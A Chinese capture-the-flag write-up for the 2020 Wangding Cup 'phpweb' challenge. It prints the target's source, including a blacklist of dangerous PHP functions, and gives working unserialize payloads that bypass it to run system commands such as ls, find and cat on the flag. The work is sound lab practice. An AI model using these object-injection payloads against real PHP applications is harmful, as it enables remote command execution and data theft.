[网鼎杯 2020 朱雀组]phpweb

抓包

 看到网页post提交了两个参数，打开hackbar发现确实传了值。

怀疑func是函数名，参数p是函数的参数值。

猜测后台可能是调用了call_user_func()方法。

这么传入看一下func=eval&p=<?php phpinfo()?>试一下

 看来后台还是有过滤的。

读取一下index.php

func=file_get_contents&p=index.php得到源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码逻辑理一遍，可以看到tes类是没被调用的，我们可不可以构造php序列化创建一个类呢，然后调用反序列化函数。
当反序列化时，自动调用__destruct()函数，其中又包含着gettime方法

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();
$b = serialize($a);
echo $b;

得到

O:4:"Test":2:{s:1:"p";s:6:"system";s:4:"func";s:2:"ls";}

post传参func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

没有flag 直接去根目录找文件名带有flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

或者是一层层的往上层目录找 

O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}

最终payload：func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

得到flag